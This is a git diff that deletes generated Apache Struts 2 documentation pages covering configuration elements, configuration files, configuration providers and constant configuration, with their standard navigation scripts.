-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Configuration Elements</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-elements.html">Configuration Elements</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Configuration Elements</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14065">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14065">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14065">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14065">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14065">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14065">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>A web application uses a deployment descriptor to initialize resources like servlets  and taglibs. The deployment descriptor is formatted as a XML  document and named <code>web.xml</code>. </p>
-
-<p>Likewise, the framework uses a configuration file to initialize its own resources. These resources include:</p>
-
-<ul><li><em>Interceptors</em> that can preprocess and postprocess a request</li><li><em>Action classes</em> that can call business logic and data access code</li><li><em>Results</em> that can prepare views, like JavaServer Pages and FreeMarker templates</li></ul>
-
-
-<p>At runtime, there is a single configuration for an application. Prior to runtime, the configuration is defined through one or more XML documents, including the default <code>struts.xml</code> document. There are several elements that can be configured, including packages, namespaces, includes, actions, results, interceptors, and exceptions.</p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> See <a shape="rect" href="strutsxml.html">struts.xml</a> for a working example.</p>
-
-<h3 id="ConfigurationElements-AdministrativeElements">Administrative Elements</h3>
-
-<ul><li><a shape="rect" href="bean-configuration.html">Bean Configuration</a></li><li><a shape="rect" href="constant-configuration.html">Constant Configuration</a></li><li><a shape="rect" href="package-configuration.html">Package Configuration</a></li><li><a shape="rect" href="namespace-configuration.html">Namespace Configuration</a></li><li><a shape="rect" href="include-configuration.html">Include Configuration</a></li></ul>
-
-
-<h3 id="ConfigurationElements-RequestHandlingElements">Request Handling Elements</h3>
-
-<ul><li><a shape="rect" href="interceptor-configuration.html">Interceptor Configuration</a></li><li><a shape="rect" href="action-configuration.html">Action Configuration</a>
-	<ul><li><a shape="rect" href="wildcard-mappings.html">Wildcard Mappings</a> <img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"></li></ul>
-	</li><li><a shape="rect" href="result-configuration.html">Result Configuration</a></li><li><a shape="rect" href="unknown-handlers.html">Unknown Handlers</a></li></ul>
-
-
-<h3 id="ConfigurationElements-ErrorHandling">Error Handling</h3>
-
-<ul><li><a shape="rect" href="exception-configuration.html">Exception Configuration</a></li></ul>
-
-
-
-<h2 id="ConfigurationElements-Next:">Next: <a shape="rect" href="configuration-files.html">Configuration Files</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/configuration-files.html b/content/docs/configuration-files.html
deleted file mode 100644
index 3543d08..0000000
--- a/content/docs/configuration-files.html
+++ /dev/null
@@ -1,184 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Configuration Files</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-files.html">Configuration Files</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Configuration Files</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14163">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14163">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14163">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14163">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14163">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14163">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>From a Struts developer point of view, the one required configuration file used by the framework is <code>web.xml</code>.  From here, you have full control over how Struts configures both itself and your application.  By default, Struts will load a set of internal configuration files to configure itself, then another set to configure your application, however it is possible to build an entire Struts application without writing a single configura [...]
-
-<p>The table lists the files that you can use to configure the framework for your application. Some configuration files can be reloaded dynamically. Dynamic reloading makes interactive development possible. See <a shape="rect" href="reloading-configuration.html">Reloading configuration</a> for more.</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> File </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Optional </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Location (relative to webapp) </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Purpose </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <a shape="rect" href="webxml.html">web.xml</a> </p></td><td cols [...]
-
-
-<h2 id="ConfigurationFiles-StaticContent">Static Content</h2>
-
-<p>Common static content that is needed by the framework (JavaScript and CSS files, etc.) is served automatically by the FilterDispatcher filter.  Any request starting with "<code>/struts/</code>" denotes that static content is required, and then mapping the value after "<code>/struts/</code>" to common packages in the framework and, optionally in the application's class path.</p>
-
-<p>By default, the following packages are searched:</p>
-<ul class="alternate"><li>org.apache.struts2.static</li><li>template</li></ul>
-
-
-<p>Additional packages can be specified by providing a comma separated list to the configuration parameter named "packages" (configured in web.xml for the FilterDispatcher filter). When specifying additional static content, you should be careful not to expose sensitive configuration information (such as the password to a database).</p>
-
-<h2 id="ConfigurationFiles-Next:">Next: <a shape="rect" href="application-servers.html">Application Servers</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/configuration-provider-configuration.html b/content/docs/configuration-provider-configuration.html
deleted file mode 100644
index eb01a06..0000000
--- a/content/docs/configuration-provider-configuration.html
+++ /dev/null
@@ -1,164 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Configuration Provider & Configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-provider-configuration.html">Configuration Provider & Configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Configuration Provider & Configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27471">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27471">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27471">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27471">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27471">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27471">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The ConfigurationProvider interface describes the framework's configuration. By default, the framework loads its configurations via an XML document by using the <code>StrutsXmlConfigurationProvider</code>. The provider can be configured through a Dispatcher's <a shape="rect" href="dispatcherlistener.html">DispatcherListener</a>.</p><h2 id="ConfigurationProvider&amp;Configuration-Example">Example</h2><div class="code panel pdl" style="border-widt [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;"> static {
-   Dispatcher.addDispatcherListener(new DispatcherListener() {
-     ....
-     public void dispatcherInitialized(Dispatcher du) {
-         ConfigurationManager confManager = du.getConfigurationManager();
-         confManager.addConfigurationProvider( ... );
-     }
-     ....
-   });
- }
-</pre>
-</div></div><h2 id="ConfigurationProvider&amp;Configuration-Configurationprovider">Configuration provider</h2><p><code>ConfigurationProvider</code> is the basic piece of configuration used to tie all the options together in <code>ConfigurationManager</code>. There is few different implementations that are already used internally by the Apache Struts:</p><ul style="list-style-type: square;"><li><code style="line-height: 1.42857;">XmlConfigurationProvider</code> - proprietary XWork impleme [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/constant-configuration.html b/content/docs/constant-configuration.html
deleted file mode 100644
index d9f0f6d..0000000
--- a/content/docs/constant-configuration.html
+++ /dev/null
@@ -1,199 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Constant Configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-elements.html">Configuration Elements</a>&nbsp;&gt;&nbsp;<a href="constant-configuration.html">Constant Configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Constant Configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29602">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29602">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29602">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29602">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29602">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29602">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974015394 {padding: 0px;}
-div.rbtoc1488974015394 ul {list-style: disc;margin-left: 0px;}
-div.rbtoc1488974015394 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style></p><div class="toc-macro rbtoc1488974015394">
-<ul class="toc-indentation"><li><a shape="rect" href="#ConstantConfiguration-Constant">Constant</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#ConstantConfiguration-Valuesubstitution">Value substitution</a></li><li><a shape="rect" href="#ConstantConfiguration-Sampleusage">Sample usage</a></li></ul>
-</li></ul>
-</div><p>Constants provide a simple way to customize a Struts application by defining key settings that modify framework and plugin behavior. There are two key roles for constants. First, they are used to override settings like the maximum file upload size or whether the Struts framework should be in "devMode" or not, and so on. Second, they specify which <a shape="rect" href="bean-configuration.html">Bean</a> implementation, among multiple implementations of a given type, should be chos [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;struts&gt;
-    &lt;constant name="os" value="Current OS = ${os.name}"/&gt;
-
-
-    &lt;constant name="struts.devMode" value="${env.STRUTS_DEV_MODE:false}"/&gt;
-&lt;/struts&gt;</pre>
